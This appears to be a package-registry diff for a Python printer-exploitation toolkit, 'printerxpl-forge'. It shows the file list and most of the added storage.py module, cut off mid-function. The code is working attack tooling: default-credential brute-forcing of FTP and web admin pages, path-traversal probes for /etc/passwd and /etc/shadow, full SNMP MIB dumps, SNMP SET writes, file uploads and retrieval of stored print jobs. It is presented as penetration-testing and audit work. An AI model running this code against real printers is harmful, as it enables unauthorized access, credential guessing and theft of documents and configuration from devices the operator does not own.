printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
src/protocols/storage.py
ADDED
|
@@ -0,0 +1,587 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — Printer Storage / Filesystem Module
|
|
5
|
+
=====================================================
|
|
6
|
+
Read, list, download and upload files from printer internal storage via:
|
|
7
|
+
|
|
8
|
+
A. FTP (port 21) — some enterprise printers expose FTP for config/log files
|
|
9
|
+
B. Web file manager — many printers expose /WEB/FOLDER or similar endpoints
|
|
10
|
+
C. SNMP MIB data extraction — full MIB walk including saved job metadata
|
|
11
|
+
D. SMB shares — extend existing SMB module for listing/downloading
|
|
12
|
+
E. HTTP path traversal — common web admin vulnerabilities
|
|
13
|
+
|
|
14
|
+
Operations:
|
|
15
|
+
list_files() — list accessible files/directories
|
|
16
|
+
download_file() — pull a file to local disk
|
|
17
|
+
upload_file() — push a file to the printer
|
|
18
|
+
delete_file() — delete a file from the printer
|
|
19
|
+
dump_mib() — full SNMP MIB dump to file
|
|
20
|
+
get_saved_jobs()— retrieve saved/queued print jobs
|
|
21
|
+
"""
|
|
22
|
+
|
|
23
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
24
|
+
# GitHub : https://github.com/mrhenrike
|
|
25
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
26
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
27
|
+
|
|
28
|
+
from __future__ import annotations
|
|
29
|
+
|
|
30
|
+
import ftplib
|
|
31
|
+
import io
|
|
32
|
+
import logging
|
|
33
|
+
import os
|
|
34
|
+
import re
|
|
35
|
+
import socket
|
|
36
|
+
import time
|
|
37
|
+
from pathlib import Path
|
|
38
|
+
from typing import Dict, List, Optional, Tuple
|
|
39
|
+
|
|
40
|
+
import requests
|
|
41
|
+
import urllib3
|
|
42
|
+
|
|
43
|
+
urllib3.disable_warnings()
|
|
44
|
+
|
|
45
|
+
_log = logging.getLogger(__name__)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
# ── Common printer web paths ──────────────────────────────────────────────────
|
|
49
|
+
|
|
50
|
+
WEB_FILE_PATHS = [
|
|
51
|
+
# EPSON
|
|
52
|
+
'/PRESENTATION/', '/PRESENTATION/HTML/', '/LANGUAGES/',
|
|
53
|
+
'/WSD/', '/EPSONLBP/', '/PRESENTATION/AIRPRINT/',
|
|
54
|
+
# HP
|
|
55
|
+
'/hp/device/info', '/hp/device/InternalPages/Index', '/DevMgmt/',
|
|
56
|
+
'/webapps/hp/printjobs', '/webapps/hp/folder',
|
|
57
|
+
# Generic CUPS
|
|
58
|
+
'/admin/', '/admin/conf/', '/admin/log/',
|
|
59
|
+
'/var/log/', '/var/spool/cups/',
|
|
60
|
+
# Kyocera
|
|
61
|
+
'/startkm.htm', '/Eng/Setting/AdminSetting.htm',
|
|
62
|
+
# Xerox
|
|
63
|
+
'/properties/webApps/config.htm',
|
|
64
|
+
'/properties/Protocol/FTPClient.htm',
|
|
65
|
+
# Ricoh
|
|
66
|
+
'/web/guest/en/websys/webArch/getInfo.cgi',
|
|
67
|
+
'/web/guest/en/websys/webArch/setting.cgi',
|
|
68
|
+
# Common log/config pages
|
|
69
|
+
'/cgi-bin/config.exp', '/cgi-bin/printer.cgi',
|
|
70
|
+
'/setup.html', '/config.html', '/admin.html',
|
|
71
|
+
'/info.htm', '/status.htm', '/system.cgi',
|
|
72
|
+
# Path traversal candidates
|
|
73
|
+
'/../etc/passwd', '/../etc/shadow', '/../etc/hosts',
|
|
74
|
+
'/../proc/version', '/../var/log/syslog',
|
|
75
|
+
'/../../../../etc/passwd',
|
|
76
|
+
]
|
|
77
|
+
|
|
78
|
+
SENSITIVE_EXTENSIONS = {'.dat', '.cfg', '.conf', '.log', '.bak',
|
|
79
|
+
'.key', '.pem', '.crt', '.pfx', '.p12',
|
|
80
|
+
'.bin', '.hex', '.rom', '.fw', '.img'}
|
|
81
|
+
|
|
82
|
+
KNOWN_DEFAULT_CREDS = [
|
|
83
|
+
('', ''), # blank/blank
|
|
84
|
+
('admin', ''), # admin / blank
|
|
85
|
+
('admin', 'admin'),
|
|
86
|
+
('admin', 'password'),
|
|
87
|
+
('admin', '1234'),
|
|
88
|
+
('admin', '12345'),
|
|
89
|
+
('admin', '123456'),
|
|
90
|
+
('guest', ''),
|
|
91
|
+
('guest', 'guest'),
|
|
92
|
+
('root', ''),
|
|
93
|
+
('root', 'root'),
|
|
94
|
+
('root', 'password'),
|
|
95
|
+
('user', 'user'),
|
|
96
|
+
('epson', ''), # EPSON default
|
|
97
|
+
('epson', 'epson'),
|
|
98
|
+
('Brother',''), # Brother default
|
|
99
|
+
('brother','access'),
|
|
100
|
+
('1234', ''), # common printer PIN
|
|
101
|
+
('admin', 'admin1234'),
|
|
102
|
+
('Admin', 'Admin'),
|
|
103
|
+
('service','service'),
|
|
104
|
+
('tech', 'tech'),
|
|
105
|
+
]
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
# ── A. FTP file operations ────────────────────────────────────────────────────
|
|
109
|
+
|
|
110
|
+
def _ftp_default_port() -> int:
|
|
111
|
+
try:
|
|
112
|
+
from utils.ports import PortConfig
|
|
113
|
+
return PortConfig.resolve('ftp')
|
|
114
|
+
except Exception:
|
|
115
|
+
return 21
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def ftp_list(
|
|
119
|
+
host: str, port: int = 0, timeout: float = 8,
|
|
120
|
+
username: str = 'anonymous', password: str = 'pentest@example.com',
|
|
121
|
+
) -> Dict:
|
|
122
|
+
"""
|
|
123
|
+
List FTP directory contents on a printer.
|
|
124
|
+
|
|
125
|
+
Many printers expose FTP with anonymous access or weak credentials.
|
|
126
|
+
Returns dict with files, dirs, writable, and credentials used.
|
|
127
|
+
"""
|
|
128
|
+
port = port or _ftp_default_port()
|
|
129
|
+
result = {
|
|
130
|
+
'host': host, 'port': port,
|
|
131
|
+
'accessible': False, 'writable': False,
|
|
132
|
+
'credentials': None, 'files': [], 'dirs': [], 'error': '',
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
cred_list = [(username, password)] + [
|
|
136
|
+
(u, p) for u, p in KNOWN_DEFAULT_CREDS
|
|
137
|
+
if (u, p) != (username, password)
|
|
138
|
+
]
|
|
139
|
+
|
|
140
|
+
ftp = None
|
|
141
|
+
for user, passwd in cred_list[:8]: # limit attempts
|
|
142
|
+
try:
|
|
143
|
+
ftp = ftplib.FTP(timeout=timeout)
|
|
144
|
+
ftp.connect(host, port, timeout)
|
|
145
|
+
ftp.login(user, passwd)
|
|
146
|
+
result['accessible'] = True
|
|
147
|
+
result['credentials'] = (user, passwd)
|
|
148
|
+
_log.info("FTP login OK: %s/%s @ %s:%d", user, passwd, host, port)
|
|
149
|
+
break
|
|
150
|
+
except ftplib.error_perm:
|
|
151
|
+
ftp = None
|
|
152
|
+
continue
|
|
153
|
+
except Exception as exc:
|
|
154
|
+
result['error'] = str(exc)[:60]
|
|
155
|
+
return result
|
|
156
|
+
|
|
157
|
+
if not ftp:
|
|
158
|
+
result['error'] = 'FTP authentication failed for all credentials tried'
|
|
159
|
+
return result
|
|
160
|
+
|
|
161
|
+
try:
|
|
162
|
+
lines = []
|
|
163
|
+
ftp.retrlines('LIST -la', lines.append)
|
|
164
|
+
for line in lines:
|
|
165
|
+
parts = line.split()
|
|
166
|
+
if not parts:
|
|
167
|
+
continue
|
|
168
|
+
name = parts[-1] if len(parts) >= 9 else line
|
|
169
|
+
if line.startswith('d'):
|
|
170
|
+
result['dirs'].append(name)
|
|
171
|
+
else:
|
|
172
|
+
result['files'].append({'name': name, 'raw': line[:80]})
|
|
173
|
+
|
|
174
|
+
# Test write access
|
|
175
|
+
try:
|
|
176
|
+
ftp.stou()
|
|
177
|
+
result['writable'] = True
|
|
178
|
+
except Exception:
|
|
179
|
+
pass
|
|
180
|
+
|
|
181
|
+
except Exception as exc:
|
|
182
|
+
result['error'] += str(exc)[:60]
|
|
183
|
+
finally:
|
|
184
|
+
try:
|
|
185
|
+
ftp.quit()
|
|
186
|
+
except Exception:
|
|
187
|
+
pass
|
|
188
|
+
|
|
189
|
+
return result
|
|
190
|
+
|
|
191
|
+
|
|
192
|
+
def ftp_download(
|
|
193
|
+
host: str,
|
|
194
|
+
remote: str,
|
|
195
|
+
local_dir: str = '.',
|
|
196
|
+
port: int = 0,
|
|
197
|
+
timeout: float= 10,
|
|
198
|
+
username: str = 'anonymous',
|
|
199
|
+
password: str = 'pentest@example.com',
|
|
200
|
+
) -> Optional[bytes]:
|
|
201
|
+
"""
|
|
202
|
+
Download *remote* file from printer FTP.
|
|
203
|
+
|
|
204
|
+
Returns raw bytes or None on failure.
|
|
205
|
+
"""
|
|
206
|
+
port = port or _ftp_default_port()
|
|
207
|
+
try:
|
|
208
|
+
ftp = ftplib.FTP(timeout=timeout)
|
|
209
|
+
ftp.connect(host, port, timeout)
|
|
210
|
+
ftp.login(username, password)
|
|
211
|
+
buf = io.BytesIO()
|
|
212
|
+
ftp.retrbinary(f'RETR {remote}', buf.write)
|
|
213
|
+
ftp.quit()
|
|
214
|
+
data = buf.getvalue()
|
|
215
|
+
if local_dir:
|
|
216
|
+
dest = Path(local_dir) / Path(remote).name
|
|
217
|
+
dest.write_bytes(data)
|
|
218
|
+
_log.info("FTP downloaded %s → %s (%d bytes)", remote, dest, len(data))
|
|
219
|
+
return data
|
|
220
|
+
except Exception as exc:
|
|
221
|
+
_log.debug("FTP download %s failed: %s", remote, exc)
|
|
222
|
+
return None
|
|
223
|
+
|
|
224
|
+
|
|
225
|
+
def ftp_upload(
|
|
226
|
+
host: str,
|
|
227
|
+
local: str,
|
|
228
|
+
remote: str,
|
|
229
|
+
port: int = 0,
|
|
230
|
+
timeout: float= 10,
|
|
231
|
+
username: str = 'anonymous',
|
|
232
|
+
password: str = 'pentest@example.com',
|
|
233
|
+
) -> bool:
|
|
234
|
+
"""Upload *local* file to printer via FTP. Returns True on success."""
|
|
235
|
+
port = port or _ftp_default_port()
|
|
236
|
+
try:
|
|
237
|
+
ftp = ftplib.FTP(timeout=timeout)
|
|
238
|
+
ftp.connect(host, port, timeout)
|
|
239
|
+
ftp.login(username, password)
|
|
240
|
+
with open(local, 'rb') as fh:
|
|
241
|
+
ftp.storbinary(f'STOR {remote}', fh)
|
|
242
|
+
ftp.quit()
|
|
243
|
+
return True
|
|
244
|
+
except Exception as exc:
|
|
245
|
+
_log.debug("FTP upload %s failed: %s", local, exc)
|
|
246
|
+
return False
|
|
247
|
+
|
|
248
|
+
|
|
249
|
+
# ── B. Web file / page enumeration ────────────────────────────────────────────
|
|
250
|
+
|
|
251
|
+
def web_enumerate(
|
|
252
|
+
host: str,
|
|
253
|
+
timeout: float = 8,
|
|
254
|
+
verbose: bool = True,
|
|
255
|
+
) -> Dict:
|
|
256
|
+
"""
|
|
257
|
+
Enumerate accessible web pages/files on a printer's HTTP interface.
|
|
258
|
+
|
|
259
|
+
Probes known paths including admin pages, config files, log files,
|
|
260
|
+
and attempts path traversal to reach system files.
|
|
261
|
+
|
|
262
|
+
Returns dict with accessible paths, interesting content, and credentials.
|
|
263
|
+
"""
|
|
264
|
+
result = {
|
|
265
|
+
'host': host,
|
|
266
|
+
'accessible': [],
|
|
267
|
+
'credentials': None,
|
|
268
|
+
'traversal': [],
|
|
269
|
+
'sensitive': [],
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
# Try HTTP and HTTPS
|
|
273
|
+
for scheme in ('http', 'https'):
|
|
274
|
+
port = 443 if scheme == 'https' else 80
|
|
275
|
+
for path in WEB_FILE_PATHS:
|
|
276
|
+
try:
|
|
277
|
+
r = requests.get(
|
|
278
|
+
f'{scheme}://{host}:{port}{path}',
|
|
279
|
+
timeout=timeout, verify=False,
|
|
280
|
+
allow_redirects=True,
|
|
281
|
+
)
|
|
282
|
+
if r.status_code in (200, 206):
|
|
283
|
+
content_type = r.headers.get('Content-Type', '')
|
|
284
|
+
size = len(r.content)
|
|
285
|
+
is_sensitive = any(ext in path.lower() for ext in SENSITIVE_EXTENSIONS)
|
|
286
|
+
is_traversal = '..' in path
|
|
287
|
+
|
|
288
|
+
entry = {
|
|
289
|
+
'url': f'{scheme}://{host}:{port}{path}',
|
|
290
|
+
'status': r.status_code,
|
|
291
|
+
'content_type': content_type[:50],
|
|
292
|
+
'size': size,
|
|
293
|
+
'snippet': r.text[:200].replace('\n', ' '),
|
|
294
|
+
}
|
|
295
|
+
result['accessible'].append(entry)
|
|
296
|
+
|
|
297
|
+
if is_traversal and size > 10:
|
|
298
|
+
result['traversal'].append(entry)
|
|
299
|
+
if verbose:
|
|
300
|
+
print(f" [WEB] \033[1;31m[TRAVERSAL]\033[0m {path} "
|
|
301
|
+
f"({size} bytes)")
|
|
302
|
+
print(f" {r.text[:100]}")
|
|
303
|
+
|
|
304
|
+
elif is_sensitive:
|
|
305
|
+
result['sensitive'].append(entry)
|
|
306
|
+
if verbose:
|
|
307
|
+
print(f" [WEB] \033[1;33m[SENSITIVE]\033[0m {path} "
|
|
308
|
+
f"({size} bytes, {content_type})")
|
|
309
|
+
|
|
310
|
+
elif verbose and path not in ('/PRESENTATION/',):
|
|
311
|
+
print(f" [WEB] {r.status_code} {path} ({size}b)")
|
|
312
|
+
|
|
313
|
+
except Exception:
|
|
314
|
+
pass
|
|
315
|
+
|
|
316
|
+
# Attempt admin login with default credentials
|
|
317
|
+
for scheme in ('http', 'https'):
|
|
318
|
+
port = 443 if scheme == 'https' else 80
|
|
319
|
+
for user, passwd in KNOWN_DEFAULT_CREDS[:12]:
|
|
320
|
+
for admin_path in ('/admin', '/admin/', '/admin.htm', '/system.cgi',
|
|
321
|
+
'/setup', '/hp/device/info'):
|
|
322
|
+
try:
|
|
323
|
+
r = requests.get(
|
|
324
|
+
f'{scheme}://{host}:{port}{admin_path}',
|
|
325
|
+
auth=(user, passwd),
|
|
326
|
+
timeout=timeout, verify=False,
|
|
327
|
+
)
|
|
328
|
+
if r.status_code == 200 and 'login' not in r.text[:200].lower():
|
|
329
|
+
result['credentials'] = (user, passwd, admin_path)
|
|
330
|
+
if verbose:
|
|
331
|
+
print(f" [WEB] \033[1;31m[CREDS]\033[0m "
|
|
332
|
+
f"Default credentials work: {user}/{passwd!r} "
|
|
333
|
+
f"→ {admin_path}")
|
|
334
|
+
break
|
|
335
|
+
except Exception:
|
|
336
|
+
pass
|
|
337
|
+
if result['credentials']:
|
|
338
|
+
break
|
|
339
|
+
|
|
340
|
+
return result
|
|
341
|
+
|
|
342
|
+
|
|
343
|
+
# ── C. SNMP MIB full dump ──────────────────────────────────────────────────────
|
|
344
|
+
|
|
345
|
+
def snmp_dump(
|
|
346
|
+
host: str,
|
|
347
|
+
community: str = 'public',
|
|
348
|
+
timeout: float = 5,
|
|
349
|
+
output_file: Optional[str] = None,
|
|
350
|
+
verbose: bool = True,
|
|
351
|
+
) -> Dict[str, str]:
|
|
352
|
+
"""
|
|
353
|
+
Perform a full SNMP MIB walk on the printer.
|
|
354
|
+
|
|
355
|
+
Extracts:
|
|
356
|
+
- System information (sysDescr, sysName, sysUpTime, sysContact)
|
|
357
|
+
- Device info (hrDevice, hrStorage)
|
|
358
|
+
- Printer-specific (prtMIB: toner levels, drum info, job count)
|
|
359
|
+
- Interface table (MAC addresses, IP info)
|
|
360
|
+
- Saved job metadata (if available)
|
|
361
|
+
|
|
362
|
+
Returns dict {OID: value}. Also writes to *output_file* if specified.
|
|
363
|
+
"""
|
|
364
|
+
result: Dict[str, str] = {}
|
|
365
|
+
|
|
366
|
+
try:
|
|
367
|
+
from pysnmp.hlapi import (
|
|
368
|
+
nextCmd, CommunityData, UdpTransportTarget,
|
|
369
|
+
ContextData, ObjectType, ObjectIdentity, SnmpEngine,
|
|
370
|
+
)
|
|
371
|
+
import warnings
|
|
372
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
373
|
+
except ImportError:
|
|
374
|
+
_log.error("pysnmp not installed — SNMP dump unavailable")
|
|
375
|
+
return result
|
|
376
|
+
|
|
377
|
+
from utils.ports import PortConfig as _PC
|
|
378
|
+
engine = SnmpEngine()
|
|
379
|
+
community_obj = CommunityData(community, mpModel=1) # v2c
|
|
380
|
+
transport = UdpTransportTarget(
|
|
381
|
+
(host, _PC.resolve('snmp')), timeout=timeout, retries=1,
|
|
382
|
+
)
|
|
383
|
+
context = ContextData()
|
|
384
|
+
|
|
385
|
+
if verbose:
|
|
386
|
+
print(f" [SNMP] Walking MIB on {host} (community={community!r}) ...")
|
|
387
|
+
|
|
388
|
+
start_oid = ObjectIdentity('1.3.6.1') # all of MIB-2 and enterprise
|
|
389
|
+
|
|
390
|
+
count = 0
|
|
391
|
+
for err_ind, err_stat, err_idx, var_binds in nextCmd(
|
|
392
|
+
engine, community_obj, transport, context,
|
|
393
|
+
ObjectType(start_oid),
|
|
394
|
+
lexicographicMode=False,
|
|
395
|
+
maxRows=2000,
|
|
396
|
+
):
|
|
397
|
+
if err_ind:
|
|
398
|
+
_log.debug("SNMP walk error: %s", err_ind)
|
|
399
|
+
break
|
|
400
|
+
if err_stat:
|
|
401
|
+
break
|
|
402
|
+
for oid, val in var_binds:
|
|
403
|
+
oid_str = str(oid)
|
|
404
|
+
val_str = str(val)
|
|
405
|
+
result[oid_str] = val_str
|
|
406
|
+
count += 1
|
|
407
|
+
|
|
408
|
+
if verbose:
|
|
409
|
+
print(f" [SNMP] Retrieved {count} OID values")
|
|
410
|
+
|
|
411
|
+
if output_file and result:
|
|
412
|
+
out = Path(output_file)
|
|
413
|
+
out.parent.mkdir(parents=True, exist_ok=True)
|
|
414
|
+
with open(out, 'w', encoding='utf-8') as fh:
|
|
415
|
+
for oid, val in sorted(result.items()):
|
|
416
|
+
fh.write(f"{oid} = {val}\n")
|
|
417
|
+
if verbose:
|
|
418
|
+
print(f" [SNMP] Dump saved to {output_file} ({count} entries)")
|
|
419
|
+
|
|
420
|
+
return result
|
|
421
|
+
|
|
422
|
+
|
|
423
|
+
def snmp_write(
|
|
424
|
+
host: str,
|
|
425
|
+
oid: str,
|
|
426
|
+
value: str,
|
|
427
|
+
community: str = 'private',
|
|
428
|
+
timeout: float = 5,
|
|
429
|
+
) -> bool:
|
|
430
|
+
"""
|
|
431
|
+
Attempt to write a value via SNMP SET (requires 'private' or writable community).
|
|
432
|
+
|
|
433
|
+
Common writable OIDs:
|
|
434
|
+
1.3.6.1.2.1.1.5.0 — sysName (device hostname)
|
|
435
|
+
1.3.6.1.2.1.1.6.0 — sysLocation
|
|
436
|
+
1.3.6.1.2.1.1.4.0 — sysContact
|
|
437
|
+
1.3.6.1.4.1.11.2.3.9.1.1.6.0 — HP: job-info-name1 (printed name)
|
|
438
|
+
"""
|
|
439
|
+
try:
|
|
440
|
+
from pysnmp.hlapi import (
|
|
441
|
+
setCmd, CommunityData, UdpTransportTarget,
|
|
442
|
+
ContextData, ObjectType, ObjectIdentity,
|
|
443
|
+
OctetString, SnmpEngine,
|
|
444
|
+
)
|
|
445
|
+
import warnings
|
|
446
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
447
|
+
|
|
448
|
+
from utils.ports import PortConfig as _PC
|
|
449
|
+
engine = SnmpEngine()
|
|
450
|
+
for err_ind, err_stat, _, var_binds in setCmd(
|
|
451
|
+
engine,
|
|
452
|
+
CommunityData(community, mpModel=1),
|
|
453
|
+
UdpTransportTarget((host, _PC.resolve('snmp')), timeout=timeout, retries=0),
|
|
454
|
+
ContextData(),
|
|
455
|
+
ObjectType(ObjectIdentity(oid), OctetString(value)),
|
|
456
|
+
):
|
|
457
|
+
if not err_ind and not err_stat:
|
|
458
|
+
return True
|
|
459
|
+
except Exception as exc:
|
|
460
|
+
_log.debug("SNMP SET %s=%r failed: %s", oid, value, exc)
|
|
461
|
+
return False
|
|
462
|
+
|
|
463
|
+
|
|
464
|
+
# ── D. Saved print jobs retrieval ─────────────────────────────────────────────
|
|
465
|
+
|
|
466
|
+
def get_saved_jobs(
|
|
467
|
+
host: str,
|
|
468
|
+
timeout: float = 10,
|
|
469
|
+
verbose: bool = True,
|
|
470
|
+
) -> List[Dict]:
|
|
471
|
+
"""
|
|
472
|
+
Attempt to retrieve saved/stored print jobs from the printer.
|
|
473
|
+
|
|
474
|
+
Methods tried:
|
|
475
|
+
1. IPP Get-Jobs with 'completed' and 'all' — metadata only
|
|
476
|
+
2. Web interface job list pages
|
|
477
|
+
3. FTP /jobs or /spool directories (if FTP is open)
|
|
478
|
+
|
|
479
|
+
Returns list of job dicts with available metadata.
|
|
480
|
+
"""
|
|
481
|
+
jobs = []
|
|
482
|
+
|
|
483
|
+
# Method 1: IPP
|
|
484
|
+
try:
|
|
485
|
+
from protocols.ipp_attacks import list_jobs, discover_endpoints
|
|
486
|
+
eps = discover_endpoints(host, timeout)
|
|
487
|
+
if eps:
|
|
488
|
+
ep = eps[0]
|
|
489
|
+
ipp_jobs = list_jobs(
|
|
490
|
+
host, ep['port'], ep['path'], ep['scheme'],
|
|
491
|
+
which='completed', timeout=timeout,
|
|
492
|
+
)
|
|
493
|
+
jobs.extend(ipp_jobs)
|
|
494
|
+
if verbose and ipp_jobs:
|
|
495
|
+
print(f" [STORAGE] IPP completed jobs: {len(ipp_jobs)}")
|
|
496
|
+
except Exception as exc:
|
|
497
|
+
_log.debug("IPP job listing: %s", exc)
|
|
498
|
+
|
|
499
|
+
# Method 2: Web job pages
|
|
500
|
+
job_paths = [
|
|
501
|
+
'/hp/device/jobs', '/webapps/hp/printjobs',
|
|
502
|
+
'/PRESENTATION/HTML/TOP/JOBLIST.HTML',
|
|
503
|
+
'/jobs', '/spool', '/queue',
|
|
504
|
+
]
|
|
505
|
+
for scheme in ('http', 'https'):
|
|
506
|
+
port = 443 if scheme == 'https' else 80
|
|
507
|
+
for path in job_paths:
|
|
508
|
+
try:
|
|
509
|
+
r = requests.get(
|
|
510
|
+
f'{scheme}://{host}:{port}{path}',
|
|
511
|
+
timeout=timeout, verify=False,
|
|
512
|
+
)
|
|
513
|
+
if r.status_code == 200 and len(r.text) > 100:
|
|
514
|
+
job_names = re.findall(r'(?:job|file|document)\s*[:\-]\s*([^\<\n\r]{5,60})',
|
|
515
|
+
r.text, re.I)
|
|
516
|
+
for name in job_names[:10]:
|
|
517
|
+
jobs.append({'source': 'web', 'name': name.strip()[:80],
|
|
518
|
+
'url': f'{scheme}://{host}:{port}{path}'})
|
|
519
|
+
if verbose and job_names:
|
|
520
|
+
print(f" [STORAGE] Web job list at {path}: "
|
|
521
|
+
f"{len(job_names)} entries")
|
|
522
|
+
except Exception:
|
|
523
|
+
pass
|
|
524
|
+
|
|
525
|
+
return jobs
|
|
526
|
+
|
|
527
|
+
|
|
528
|
+
# ── E. Full storage audit ──────────────────────────────────────────────────────
|
|
529
|
+
|
|
530
|
+
def storage_audit(
|
|
531
|
+
host: str,
|
|
532
|
+
timeout: float = 10,
|
|
533
|
+
outdir: str = '.log',
|
|
534
|
+
verbose: bool = True,
|
|
535
|
+
) -> Dict:
|
|
536
|
+
"""
|
|
537
|
+
Run a comprehensive printer storage audit.
|
|
538
|
+
|
|
539
|
+
Attempts all available storage access methods and consolidates findings.
|
|
540
|
+
"""
|
|
541
|
+
result = {
|
|
542
|
+
'host': host,
|
|
543
|
+
'ftp': None,
|
|
544
|
+
'web': None,
|
|
545
|
+
'snmp_oids': 0,
|
|
546
|
+
'saved_jobs': [],
|
|
547
|
+
'risk': [],
|
|
548
|
+
}
|
|
549
|
+
|
|
550
|
+
if verbose:
|
|
551
|
+
print(f"\n [STORAGE] Audit: {host}")
|
|
552
|
+
|
|
553
|
+
# FTP
|
|
554
|
+
ftp = ftp_list(host, timeout=timeout)
|
|
555
|
+
result['ftp'] = ftp
|
|
556
|
+
if ftp['accessible']:
|
|
557
|
+
result['risk'].append(f'FTP_ACCESSIBLE ({ftp["credentials"][0]})')
|
|
558
|
+
if verbose:
|
|
559
|
+
print(f" [STORAGE] \033[1;31m[VULN]\033[0m FTP open — "
|
|
560
|
+
f"creds={ftp['credentials']}, "
|
|
561
|
+
f"files={len(ftp['files'])}, "
|
|
562
|
+
f"writable={ftp['writable']}")
|
|
563
|
+
|
|
564
|
+
# Web enumeration
|
|
565
|
+
web = web_enumerate(host, timeout=timeout, verbose=verbose)
|
|
566
|
+
result['web'] = web
|
|
567
|
+
if web['traversal']:
|
|
568
|
+
result['risk'].append(f'PATH_TRAVERSAL ({len(web["traversal"])} paths)')
|
|
569
|
+
if web['credentials']:
|
|
570
|
+
result['risk'].append(f'WEB_DEFAULT_CREDS ({web["credentials"][0]}/{web["credentials"][1]})')
|
|
571
|
+
if web['sensitive']:
|
|
572
|
+
result['risk'].append(f'SENSITIVE_FILES ({len(web["sensitive"])})')
|
|
573
|
+
|
|
574
|
+
# SNMP MIB dump
|
|
575
|
+
mib_file = os.path.join(outdir, f'snmp_dump_{host.replace(".", "_")}.txt')
|
|
576
|
+
mib = snmp_dump(host, output_file=mib_file, verbose=verbose)
|
|
577
|
+
result['snmp_oids'] = len(mib)
|
|
578
|
+
if mib:
|
|
579
|
+
result['risk'].append(f'SNMP_MIB_DUMPED ({len(mib)} OIDs)')
|
|
580
|
+
|
|
581
|
+
# Saved jobs
|
|
582
|
+
jobs = get_saved_jobs(host, timeout=timeout, verbose=verbose)
|
|
583
|
+
